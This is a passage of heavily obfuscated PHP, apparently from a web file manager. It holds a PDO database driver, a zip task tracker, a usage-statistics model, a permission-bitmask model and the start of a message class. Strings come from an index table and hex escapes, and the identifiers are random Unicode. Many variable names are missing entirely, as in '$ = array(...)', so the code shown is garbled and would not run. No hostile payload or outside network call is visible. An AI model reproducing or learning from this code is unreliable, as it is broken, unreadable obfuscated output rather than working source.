$this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ٵ = $this->_linkID->commit(); $this->transTimes = 0; if (!$ٵ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $霆 = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($霆); return $霆; } public function getFields($) { $պ =& $_SERVER[ձК]; $this->initConnect(!0); if (think_config($պ[1012])) { $ = str_replace($պ[1013], $, think_config($պ[1012])); } else { switch ($this->dbType) { case $պ[996]: case $պ[1014]: $ = "\x53\x45\x4c\105\x43\x54\x20\x20\x20\143\x6f\154\x75\x6d\x6e\x5f\156\x61\155\x65\x20\141\163\40\47\116\141\155\x65\47\54\x20\40\x20\144\141\x74\x61\x5f\x74\171\x70\x65\x20\x61\x73\x20\x27\x54\171\x70\x65\47\54\40\40\x20\x63\x6f\x6c\x75\x6d\156\x5f\x64\145\146\x61\165\x6c\x74\40\x61\163\40\x27\104\145\146\x61\165\x6c\164\x27\54\x20\x20\x20\x69\163\x5f\156\x75\x6c\x6c\141\142\154\145\40\x61\x73\40\47\116\x75\154\154\x27\12\11\x9\106\x52\117\115\x9\151\x6e\x66\x6f\162\155\x61\x74\151\x6f\156\137\163\x63\150\x65\155\141\56\x74\141\x62\154\145\163\40\101\x53\40\x74\12\x9\x9\112\x4f\x49\x4e\11\x69\156\x66\157\x72\x6d\x61\x74\x69\157\156\x5f\x73\143\x68\145\x6d\141\56\x63\x6f\x6c\165\x6d\x6e\x73\40\x41\x53\40\143\xa\x9\x9\x4f\116\40\x20\x74\56\164\x61\142\154\x65\137\143\141\x74\x61\x6c\x6f\x67\x20\x3d\40\143\x2e\x74\141\142\x6c\145\137\143\141\x74\141\154\x6f\147\12\11\11\x41\x4e\x44\40\164\56\x74\x61\x62\x6c\x65\x5f\x73\143\150\145\155\141\40\75\x20\x63\x2e\x74\141\142\x6c\x65\x5f\163\143\x68\x65\x6d\x61\xa\11\x9\x41\116\x44\40\x74\56\164\x61\142\154\x65\x5f\x6e\x61\x6d\145\x20\x3d\x20\143\x2e\x74\141\x62\x6c\145\x5f\x6e\x61\x6d\x65\xa\x9\11\127\x48\x45\x52\x45\x20\40\x20\x74\x2e\164\x61\x62\154\x65\x5f\156\141\155\145\x20\75\40\47{$}\x27"; break; case $պ[1015]: $ = $պ[1016] . $ . $պ[1017]; break; case $պ[997]: case $պ[999]: $ = $պ[1018] . $պ[1019] . $պ[1020] . strtoupper($) . $պ[1021] . strtoupper($) . $պ[1022]; break; case $պ[1023]: $ = $պ[1024] . $ . $պ[1025]; break; case $պ[998]: break; case $պ[1026]: default: $ = $պ[1027] . ($this->dbType == $պ[1026] ? "\140{$}\140" : $); } } $֨ = $this->query($); $ɠ = array(); if ($֨) { foreach ($֨ as $ٻ => $) { $ = array_change_key_case($); $[$պ[32]] = isset($[$պ[32]]) ? $[$պ[32]] : $պ[456]; $[$պ[33]] = isset($[$պ[33]]) ? $[$պ[33]] : $պ[456]; $ = isset($[$պ[352]]) ? $[$պ[352]] : $[$պ[32]]; $ɠ[$] = array($պ[32] => $, $պ[33] => $[$պ[33]], $պ[35] => (bool) (isset($[$պ[106]]) && $[$պ[106]] === $պ[12] || isset($[$պ[35]]) && $[$պ[35]] === $պ[12]), $պ[37] => isset($[$պ[37]]) ? $[$պ[37]] : (isset($[$պ[56]]) ? $[$պ[56]] : $պ[456]), $պ[39] => isset($[$պ[97]]) ? strtolower($[$պ[97]]) == $պ[41] : (isset($[$պ[57]]) ? $[$պ[57]] : !1), $պ[42] => isset($[$պ[1028]]) ? strtolower($[$պ[1028]]) == $պ[44] : (isset($[$պ[97]]) ? $[$պ[97]] : !1)); } } return $ɠ; } public function getTables($̔ = '') { $ݟ =& $_SERVER[ձК]; if (think_config($ݟ[1029])) { $ټ = str_replace($ݟ[1030], $̔, think_config($ݟ[1029])); } else { switch ($this->dbType) { case $ݟ[997]: case $ݟ[999]: $ټ = $ݟ[1031]; break; case $ݟ[996]: case $ݟ[1014]: $ټ = $ݟ[1032]; break; case $ݟ[1023]: $ټ = $ݟ[1033]; break; case $ݟ[998]: think_exception(think_lang($ݟ[1034]) . $ݟ[1035]); break; case $ݟ[1015]: $ټ = $ݟ[45] . $ݟ[46] . $ݟ[47]; break; case $ݟ[1026]: default: if (!empty($̔)) { $ټ = $ݟ[978] . $̔ . $ݟ[979]; } else { $ټ = $ݟ[980]; } } } $ = $this->query($ټ); $۫ = array(); foreach ($ as $ => $ַ) { $۫[$] = current($ַ); } return $۫; } protected function parseLimit($ɬ) { $۵̒ =& $_SERVER[ձК]; $ҙ = $۵̒[12]; if (!empty($ɬ)) { switch ($this->dbType) { case $۵̒[1023]: case $۵̒[1015]: $ɬ = explode($۵̒[50], $ɬ); if (count($ɬ) > 1) { $ҙ .= $۵̒[51] . $ɬ[1] . $۵̒[52] . $ɬ[0] . $۵̒[53]; } else { $ҙ .= $۵̒[51] . $ɬ[0] . $۵̒[53]; } break; case $۵̒[996]: case $۵̒[1014]: break; case $۵̒[998]: break; case $۵̒[997]: case $۵̒[999]: break; case $۵̒[1026]: default: $ҙ .= $۵̒[51] . $ɬ . $۵̒[53]; } } return $ҙ; } public function parseKey(&$錘, $Պ = true) { $ѱ́ =& $_SERVER[ձК]; if ($Պ) { $錘 = $this->parseKeyCheck($錘); } if ($this->dbType == $ѱ́[1026]) { if ($錘 != $ѱ́[222] && !preg_match($ѱ́[990], $錘)) { $錘 = $ѱ́[463] . trim($錘, $ѱ́[463]) . $ѱ́[463]; } return $錘; } else { return parent::parseKey($錘, $Պ); } } public function close() { $this->_linkID = null; } public function error() { $ק =& $_SERVER[ձК]; if ($this->PDOStatement) { $ = $this->PDOStatement->errorInfo(); $this->error = $[1] . $ק[4] . $[2]; } else { $this->error = $ק[12]; } if ($ק[12] != $this->queryStr) { $this->error .= LNG($ק[48]) . $this->queryStr; } think_trace($this->error, $ק[12], $ק[49]); return $this->error; } public function escapeString($莐) { $ =& $_SERVER[ձК]; switch ($this->dbType) { case $[1023]: case $[996]: case $[1014]: case $[1026]: return addslashes($莐); case $[998]: case $[1015]: case $[997]: case $[999]: return str_ireplace($[58], $[59], $莐); } } protected function parseValue($ǚ) { $ͯ˺ =& $_SERVER[ձК]; if (is_string($ǚ)) { $Ү = strpos($ǚ, $ͯ˺[4]) === 0 && in_array($ǚ, array_keys($this->bind)); $ǚ = $Ү ? $this->escapeString($ǚ) : $ͯ˺[1036] . $this->escapeString($ǚ) . $ͯ˺[1036]; } elseif (isset($ǚ[0]) && is_string($ǚ[0]) && strtolower($ǚ[0]) == $ͯ˺[374]) { $ǚ = $this->escapeString($ǚ[1]); } elseif (is_array($ǚ)) { $ǚ = array_map(array($this, $ͯ˺[1037]), $ǚ); } elseif (is_bool($ǚ)) { $ǚ = $ǚ ? $ͯ˺[91] : $ͯ˺[230]; } elseif (is_null($ǚ)) { $ǚ = $ͯ˺[106]; } return $ǚ; } public function getLastInsertId() { $ =& $_SERVER[ձК]; switch ($this->dbType) { case $[1023]: case $[1015]: case $[996]: case $[1014]: case $[998]: case $[1026]: return $this->_linkID->lastInsertId(); case $[997]: case $[999]: $ݿ = $this->table; $ϥ = $this->query("\x53\105\114\105\103\124\x20{$ݿ}\x2e\143\x75\162\162\166\x61\154\x20\x63\165\162\162\166\x61\154\x20\x46\x52\x4f\x4d\x20\x64\165\x61\x6c"); return $ϥ ? $ϥ[0][$[1038]] : 0; } } } goto b媶; fѶ: class TaskZip extends TaskFileTransfer { protected function startAfter() { $Ǒ =& $_SERVER[ձК]; parent::startAfter(); Hook::bind($Ǒ[1903], array($this, $Ǒ[1893])); Hook::bind($Ǒ[1895], array($this, $Ǒ[1896])); $ʮ =& $this->task; $ʮ[$Ǒ[1897]] = $Ǒ[1281]; if (!$ʮ[$Ǒ[1665]]) { $ʮ[$Ǒ[1665]] = LNG($Ǒ[1904]); } } protected function endAfter() { $ӄ =& $_SERVER[ձК]; parent::endAfter(); Hook::unbind($ӄ[1903], array($this, $ӄ[1893])); Hook::unbind($ӄ[1895], array($this, $ӄ[1896])); } public function updateAfter() { $瘇ۦ =& $_SERVER[ձК]; $ =& $this->task; if (!$[$瘇ۦ[1142]] || !$[$瘇ۦ[837]]) { return; } if ($[$瘇ۦ[1897]] == $瘇ۦ[1281]) { $֭ = $[$瘇ۦ[1832]]; if ($[$瘇ۦ[1833]] != $瘇ۦ[1281]) { $֭ = 0; } $Ͷ = ($[$瘇ۦ[1836]] + $֭) / $[$瘇ۦ[837]]; $[$瘇ۦ[1779]] = $Ͷ * 0.3; } else { if ($[$瘇ۦ[1897]] == $瘇ۦ[390]) { $Ͷ = $[$瘇ۦ[1778]] / $[$瘇ۦ[1142]]; $[$瘇ۦ[1779]] = 0.3 + $Ͷ * 0.5; } else { if ($[$瘇ۦ[1897]] == $瘇ۦ[110]) { $Ͷ = 0; if ($[$瘇ۦ[1831]]) { $Ͷ = $[$瘇ۦ[1832]] / $[$瘇ۦ[1831]]; } $[$瘇ۦ[1779]] = 0.3 + 0.5 + $Ͷ * 0.2; } } } if ($[$瘇ۦ[1779]] > 0) { $ = timeFloat() - $[$瘇ۦ[1781]] - $[$瘇ۦ[1784]]; $[$瘇ۦ[1785]] = $ * (1 - $[$瘇ۦ[1779]]) / $[$瘇ۦ[1779]]; } } public function copyFileStart($Ӌܯ, $, $کՕ, $Ę, $Ȇ깲, $١) { $ =& $_SERVER[ձК]; parent::copyFileStart($Ӌܯ, $, $کՕ, $Ę, $Ȇ깲, $١); $ =& $this->task; if ($[$[1897]] == $[390]) { $[$[1897]] = $[110]; } $this->update(); } public function copyFileEnd($꺦, $Ǵ, $, $, $̩, $) { $ڥ =& $_SERVER[ձК]; $Օ =& $this->task; $Օ[$ڥ[1832]] = $Օ[$ڥ[1831]]; $Օ[$ڥ[1836]] += $Օ[$ڥ[1831]]; $Օ[$ڥ[1833]] = $ڥ[12]; $this->update(); } public function zipEvent($, $ޏ, $ͮ, $â) { $趍 =& $_SERVER[ձК]; $ =& $this->task; $[$趍[1829]] = get_path_this($ޏ); $[$趍[1831]] = $â; $[$趍[1832]] = $ͮ; $[$趍[1144]] = $ == $趍[1905] ? $趍[1900] : $趍[1901]; $[$趍[1833]] = $趍[12]; $[$趍[837]] = $â; $[$趍[1897]] = $趍[390]; $this->update(); } public function nameParse($Ј) { $΄ =& $_SERVER[ձК]; $㤗 =& $this->task; if ($㤗[$΄[1778]] < $㤗[$΄[1142]]) { $ = get_path_this($Ј); if (strstr($, $΄[10])) { $㤗[$΄[1778]] += 1; } } if ($㤗[$΄[1897]] == $΄[1281]) { $㤗[$΄[1897]] = $΄[390]; } $㤗[$΄[1829]] = $Ј; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $ =& $_SERVER[ձК]; $ = array($[667] => array($[33] => $[1906], $[352] => array($[284], $[839], $[1907], $[1908])), $[1909] => array($[33] => $[1910], $[352] => array($[284], $[837], $[1911], $[1912], $[1913]))); if (!isset($[$])) { return !1; } $this->optionType = $[$][$[33]]; $this->field = $[$][$[352]]; return !0; } public function listData($ۊ = false, $ = "\x6d\157\x64\151\x66\171\x54\151\155\x65", $Ѱ = false) { return parent::listData($ۊ, $, $Ѱ); } public function trendList($兮) { $ =& $_SERVER[ձК]; $ = $this->listData(); if ($) { $ = end($); $ݟ = date($[1914], strtotime($[1915])); if ($[$[284]] == $ݟ) { return $; } $ȣ = strtotime($[$[284]]); } if (!isset($ȣ)) { $ܟ = $兮 == $[667] ? $[599] : $[899]; $ȣ = Model($ܟ)->min($[233]); } $ū叓 = $[1916] . ucfirst($兮); $ = $this->dateList($ȣ); foreach ($ as $ݟ) { $this->{$ū叓}($ݟ); } return $this->listData(); } private function dateList($瑧) { $羁 =& $_SERVER[ձК]; $ӝ = $瑧; $Ȕ = strtotime($羁[1915]); $č = array(); while ($ӝ <= $Ȕ) { $č[] = date($羁[1914], $ӝ); $ӝ = strtotime($羁[1917], $ӝ); } return $č; } public function _recordUser($ = '') { $ޗ =& $_SERVER[ձК]; $ݥڤ = strtotime(date($ޗ[1918], strtotime($))); $А = strtotime(date($ޗ[1919], strtotime($))); $ʥ = array($ޗ[233] => array($ޗ[1092], $А)); $̓ = Model($ޗ[599])->where($ʥ)->count($ޗ[1777]); $ʥ[$ޗ[233]] = array($ޗ[410], array($ݥڤ, $А)); $ѝ = Model($ޗ[599])->where($ʥ)->count($ޗ[1777]); $ʥ[$ޗ[33]] = $ޗ[1920]; $ = Model($ޗ[1921])->where($ʥ)->count($ޗ[1922]); $ɽО = array($ޗ[284] => $, $ޗ[839] => (int) $̓, $ޗ[1907] => (int) $ѝ, $ޗ[1908] => (int) $); return $this->insert($ɽО); } public function _recordStore($ނ = '') { $ҥ =& $_SERVER[ձК]; $ҍ = strtotime(date($ҥ[1919], strtotime($ނ))); $ = array($ҥ[233] => array($ҥ[1092], $ҍ)); $פ = Model($ҥ[546])->where($)->sum($ҥ[79]); $[$ҥ[487]] = 0; $ٸ = Model($ҥ[899])->where($)->sum($ҥ[79]); $[$ҥ[190]] = 1; $Ԙ = Model($ҥ[899])->where($)->sum($ҥ[79]); $[$ҥ[190]] = 2; $lj = Model($ҥ[899])->where($)->sum($ҥ[79]); $û = array($ҥ[284] => $ނ, $ҥ[837] => (int) $ٸ, $ҥ[1911] => (int) $פ, $ҥ[1912] => (int) $Ԙ, $ҥ[1913] => (int) $lj); return $this->insert($û); } public function trend($, $) { $ =& $_SERVER[ձК]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $[1749]) { $Ȥ = $[0][$[284]]; $̻ = $this->validDate($, $Ȥ); $ = array(); $ = array_to_keyvalue($, $[284]); foreach ($̻ as $ӣ) { if (isset($[$ӣ])) { $˄ = $[$ӣ]; } else { $˄ = end($); $˄[$[284]] = $ӣ; if ($ == $[667]) { $˄[$[1907]] = $˄[$[1908]] = 0; } } $[] = $˄; } $ = $; } $ܖ = array($[667] => array($[839] => LNG($[1923]), $[1907] => LNG($[1924]), $[1908] => LNG($[1925])), $[1909] => array($[837] => LNG($[1926]), $[1911] => LNG($[1927]), $[1912] => LNG($[1928]), $[1913] => LNG($[1929]))); $˃ = array($[667] => $[1930], $[1909] => $[79]); if (empty($)) { $ӣ = date($[1914], strtotime($[1915])); $҉ = array($[284] => $ӣ); foreach ($ܖ[$] as $际 => $߶) { $҉[$际] = 0; } $[] = $҉; } $ = array(); foreach ($ as $߶) { if ($ == $[1909] && $߶[$[1911]] > $߶[$[837]]) { $߶[$[1911]] = $߶[$[837]]; } foreach ($ܖ[$] as $际 => $ܕ) { $˄ = array($[284] => $߶[$[284]], $[1665] => $ܕ); $˄[$˃[$]] = isset($߶[$际]) ? $߶[$际] : 0; $[] = $˄; } } return $; } public function validDate($, $) { $乏 =& $_SERVER[ձК]; $ԞԷ = date($乏[1914], strtotime($乏[1915])); $ױ = array($ԞԷ); switch ($) { case $乏[1756]: $бĪ = mktime(0, 0, 0, date($乏[1931]), date($乏[1454]) - date($乏[1544]) + 7 - 7, date($乏[1932])); $ = 0; do { $忹 = date($乏[1914], $бĪ - 3600 * 24 * 7 * $); $ױ[] = $忹; $++; } while ($ < $忹); break; case $乏[1754]: $ = 1; do { $堂 = date($乏[1933], strtotime("\x2d\40{$}\x20\x6d\x6f\156\164\150\163")); $ױ[] = $堂; $++; } while ($ < $堂); break; case $乏[1934]: $ = (int) date($乏[1932], strtotime($)); $ԭ = (int) date($乏[1932]); if ($ >= $ԭ) { break; } for ($; $ < $ԭ; $++) { $ױ[] = $ . $乏[1935]; } break; default: break; } if ($ > end($ױ)) { array_pop($ױ); } sort($ױ); return $ױ; } public function listTable($ӇŜ) { $ = ucfirst($ӇŜ); return Model($)->listData(); } public function option($) { $ = $_SERVER[ձК][1936] . ucfirst($); return $this->{$}(); } private function optionUser() { $ʬ =& $_SERVER[ձК]; $ɲ = Model($ʬ[599])->count($ʬ[1777]); $њ = Model($ʬ[599])->where($ʬ[1937])->count($ʬ[1777]); $ = intval($GLOBALS[$ʬ[6]][$ʬ[426]][$ʬ[1722]]) / 3600; $ƺ = strtotime("\55{$}\40\x68\x6f\165\162\163"); $ = strtotime(date($ʬ[1918])); if ($ƺ < $) { $ƺ = $; } $ = array($ʬ[1938] => array($ʬ[1093], $ƺ)); $Ѧ = (int) Model($ʬ[599])->where($)->count($ʬ[1777]); if (!$Ѧ) { $Ѧ = 1; } $ = array($ʬ[1938] => array($ʬ[1093], $)); $ = Model($ʬ[599])->where($)->count($ʬ[1777]); return array($ʬ[832] => (int) $ɲ, $ʬ[1939] => (int) ($ɲ - $њ), $ʬ[1940] => (int) $њ, $ʬ[1941] => (int) $, $ʬ[1942] => $Ѧ); } private function optionFile() { $ =& $_SERVER[ձК]; $ = $this->sourceSize(); $ؽ = $[$[79]]; $ = $[$[1911]]; $ = Model($[899])->where(array($[487] => 0))->count($[193]); $ = array($[487] => 0, $[233] => array($[1093], strtotime(date($[1918])))); $ܛ = Model($[899])->where($)->sum($[79]); $ƿ = Model($[899])->where($)->count($[193]); return array($[837] => $ؽ, $[1911] => $, $[1943] => $ؽ - $, $[1944] => (int) $ܛ, $[839] => (int) $, $[1945] => (int) $ƿ); } private function optionAccess() { $ =& $_SERVER[ձК]; return array($[832] => $this->typeLogCnt(), $[110] => $this->typeLogCnt($[110]), $[527] => $this->typeLogCnt($[527]), $[1946] => $this->typeLogCnt($[1946]), $[1947] => $this->typeLogCnt($[1947]), $[667] => $this->typeLogCnt($[12], $[1922])); } private function typeLogCnt($܁ = '', $ޔ = "\151\144") { $Ɗ =& $_SERVER[ձК]; $Ϸ = array($Ɗ[110] => array($Ɗ[1948], $Ɗ[1949]), $Ɗ[527] => array($Ɗ[1950], $Ɗ[1951]), $Ɗ[1946] => array($Ɗ[1952], $Ɗ[1953], $Ɗ[1954]), $Ɗ[1947] => array($Ɗ[1955], $Ɗ[1956]), $Ɗ[1957] => array($Ɗ[1958], $Ɗ[1959], $Ɗ[1960])); $ = strtotime(date($Ɗ[1918])); $ʹ = array($Ɗ[233] => array($Ɗ[1093], $)); if ($܁) { $ʹ[$Ɗ[33]] = array($Ɗ[7], $Ϸ[$܁]); } $ = Model($Ɗ[1921])->where($ʹ)->count($ޔ); return (int) $; } private function optionServer() { $ =& $_SERVER[ձК]; $⤑ = $this->diskDriver(); $ = KodIO::defaultDriver(); $蘗 = array($[892] => $[$[477]]); $ = Model($[546])->where($蘗)->sum($[79]); $Ĕ = explode($[53], $_SERVER[$[147]]); $܆ = $Ĕ[0]; $ = $GLOBALS[$[6]][$[21]]; $艩 = $[$[1055]]; if ($艩 == $[1043]) { $ = explode($[1370], $[$[1054]]); $艩 = $[0]; } if ($艩 == $[991] || $艩 == $[879]) { $ = Model()->db()->query($[1961]); $ = $[0] && isset($[0][$[1664]]) ? $[0][$[1664]] : 0; $艩 = $[1962] . ($ ? $[8] . $ : $[12]); } $ = $GLOBALS[$[6]][$[426]][$[901]]; return array($[1963] => $⤑ ? $⤑[$[1964]] : 0, $[1965] => $⤑ ? $⤑[$[1966]] : 0, $[1967] => (int) $[$[1964]] * 1024 * 1024 * 1024, $[1968] => (int) $, $[1969] => ucfirst($܆), $[1970] => $[1971] . PHP_VERSION, $[1972] => phpBuild64() ? 64 : 32, $[831] => str_replace($[1211], $[1071], $艩), $[426] => ucfirst($), $[32] => $_SERVER[$[1973]]); } private function diskDriver() { $镔 =& $_SERVER[ձК]; $ = $镔[8]; $Դ = $GLOBALS[$镔[6]][$镔[1387]] == $镔[1388]; if ($Դ) { $ = $镔[1974]; if (function_exists($镔[1975])) { exec($镔[1976], $); $ = $[1] . $镔[8]; } } if (!file_exists($)) { return; } if (!function_exists($镔[1977])) { return; } $ɋ = @disk_total_space($); $צ = $ɋ - @disk_free_space($); return array($镔[1964] => $ɋ, $镔[1966] => $צ); } public function fileChart($) { $Ȗ =& $_SERVER[ձК]; if (isset($[$Ȗ[1777]])) { return Model($Ȗ[899])->userFileTypeProfile($[$Ȗ[1777]]); } if (isset($[$Ȗ[1978]])) { return Model($Ȗ[899])->groupFileTypeProfile($[$Ȗ[1978]]); } $ = $this->sourceSize(); $ = array($Ȗ[192] => 0, $Ȗ[190] => 1); $ = Model($Ȗ[899])->where($)->sum($Ȗ[79]); $[$Ȗ[190]] = 2; $ĕ = Model($Ȗ[899])->where($)->sum($Ȗ[79]); return array($Ȗ[837] => $[$Ȗ[79]], $Ȗ[1911] => $[$Ȗ[1911]], $Ȗ[1912] => (int) $, $Ȗ[1913] => (int) $ĕ); } private function sourceSize() { $ҭ =& $_SERVER[ձК]; $Ѧ = Model($ҭ[899])->where(array($ҭ[487] => 0))->sum($ҭ[79]); $ = Model($ҭ[546])->sum($ҭ[79]); if ($ > $Ѧ) { $ = $Ѧ; } return array($ҭ[79] => (int) $Ѧ, $ҭ[1911] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[ձК]; $ = array(array($[496] => LNG($[1979]), $[1980] => $[1981], $[1982] => 1, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[496] => LNG($[1985]), $[1980] => $[1986], $[1982] => 2, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[496] => LNG($[1987]), $[1980] => $[1988], $[1982] => 3, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[496] => LNG($[1989]), $[1980] => $[1990], $[1982] => 4, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_VIEW), array($[496] => LNG($[1991]), $[1980] => $[1992], $[1982] => 5, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[496] => LNG($[1993]), $[1980] => $[1994], $[1982] => 6, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[496] => LNG($[1995]), $[1980] => $[1996], $[1982] => 7, $[1983] => 1, $[1984] => 0)); return $; } public static function authCheck($ʗ, $ŏ) { $ۥ =& $_SERVER[ձК]; $ʗ = intval($ʗ); if (KodUser::isRoot() && $GLOBALS[$ۥ[6]][$ۥ[1997]]) { return !0; } if ($ʗ <= 0) { return !1; } if (($ʗ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ʗ & $ŏ); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($꼽) { return self::authCheck($꼽, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($х) { return self::authCheck($х, self::AUTH_REMOVE); } public static function authCheckShare($Ƥ) { return self::authCheck($Ƥ, self::AUTH_SHARE); } public static function authCheckComment($ѡ) { return self::authCheck($ѡ, self::AUTH_COMMENT); } public static function authCheckEvent($Р) { return self::authCheck($Р, self::AUTH_EVENT); } public static function authCheckRoot($Ǿ) { return self::authCheck($Ǿ, self::AUTH_ROOT); } public static function authCheckAction($վ, $ػ) { $Ւ =& $_SERVER[ձК]; $ = array($Ւ[1998] => self::AUTH_VIEW, $Ւ[1281] => self::AUTH_DOWNLOAD, $Ւ[110] => self::AUTH_UPLOAD, $Ւ[1947] => self::AUTH_EDIT, $Ւ[1946] => self::AUTH_REMOVE, $Ւ[1957] => self::AUTH_SHARE, $Ւ[431] => self::AUTH_COMMENT, $Ւ[1764] => self::AUTH_EVENT, $Ւ[1999] => self::AUTH_ROOT); if (!isset($[$ػ])) { return; } $Б = $[$ػ]; $վ = intval($վ); if ($վ <= 0) { return !1; } if (($վ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($վ & $Б); } public static function authDisable($, $З) { if (intval($) <= 0) { return 0; } return intval($) & ~$З; } public $optionType = "\123\x79\163\164\x65\155\x2e\163\x6f\x75\x72\x63\145\x41\x75\164\x68\x4c\151\x73\x74"; public $field = array("\x6e\x61\x6d\x65", "\x61\165\164\150", "\x6c\x61\142\x65\154", "\x64\151\x73\x70\154\141\x79", "\x73\171\x73\164\x65\x6d", "\163\157\x72\164"); public function initData() { $ = $this->authDefault(); foreach ($ as $ߍۋ) { $this->add($ߍۋ); } } public function findAuth($ݫ˭, $) { $ =& $_SERVER[ձК]; $ = parent::listData(); foreach ($ as $) { $毌 = intval($[$[489]]); if ($毌 <= 0 || $[$[2000]] == 0) { continue; } if (($毌 & $ݫ˭) != $ݫ˭) { continue; } if (($毌 & $) != 0) { continue; } return $[$[477]]; } return !1; } public function findAuthMax($͗, $Ш) { $מ =& $_SERVER[ձК]; $ = !1; $ = parent::listData(); foreach ($ as $䂉) { $Ӧ = intval($䂉[$מ[489]]); if ($Ӧ <= 0 || $䂉[$מ[2000]] == 0) { continue; } if (($Ӧ & $͗) != $͗) { continue; } if (($Ӧ & $Ш) != 0) { continue; } if (!$) { $ = $䂉; continue; } if (intval($[$מ[489]]) < $Ӧ) { $ = $䂉; } } return $ ? $[$מ[477]] : !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[ձК]; $ޏ = parent::listData(); $Ü = !1; foreach ($ޏ as $̮) { if ($̮[$[489]] <= 0 || $̮[$[2000]] == $[230]) { continue; } if (!$Ü) { $Ü = $̮; continue; } if ($Ü[$[489]] > $̮[$[489]]) { $Ü = $̮; } } return $Ü ? $Ü[$[477]] : $[12]; } public function listData($ = false, $ = "\163\x6f\162\x74", $֝ = false) { return parent::listData($, $, $֝); } public function update($, $) { $⽤ =& $_SERVER[ձК]; $ = parent::listData($); $ꦓ = $this->findByName($[$⽤[32]]); if (!$ || $ꦓ && $ꦓ[$⽤[477]] != $[$⽤[477]]) { return !1; } $this->filterAuth($[$⽤[489]]); return parent::update($, $); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[ձК][191]]) { return !1; } return parent::remove($); } public function add($몃 = array()) { $ =& $_SERVER[ձК]; if ($this->findByName($몃[$[32]])) { return !1; } $ = array($[32] => $[12], $[489] => 1, $[2001] => $[1988], $[2000] => 1, $[191] => 0, $[2002] => 0); $몃 = array_merge($, $몃); $몃[$[2002]] = $this->getSort(); $this->filterAuth($몃[$[489]]); return parent::insert($몃); } private function getSort() { $ǒ =& $_SERVER[ձК]; $ = parent::listData(); $ы = array_to_keyvalue($, $ǒ[12], $ǒ[2002]); return empty($ы) ? 0 : max($ы) + 1; } private function filterAuth(&$) { if (!$) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ as $) { if ($ & $) { $[] = $; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($); return; } $灆 = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $) { if (isset($灆[$])) { $ = array_merge($, $灆[$]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } public function sort($Ϯ, $) { return parent::update($Ϯ, $); } } goto Aרፅ; E: class Message { function __construct() { } public function send($ = '', $ = array(), $랡 = "\164\x65\170\x74") { $ۅ =& $_SERVER[ձК]; $ = array($ۅ[33] => $ۅ[1215], $ۅ[171] => $); if (in_array($랡, array($ۅ[1215], $ۅ[1624]))) { $[$ۅ[33]] = $랡; } $ = array($ۅ[580] => isset($[$ۅ[580]]) ? $[$ۅ[580]] : $ۅ[12], $ۅ[667] => isset($[$ۅ[667]]) ? $[$ۅ[667]] : $ۅ[12]); if (empty($) || empty($[$ۅ[580]]) && empty($[$ۅ[667]])) { return !1; 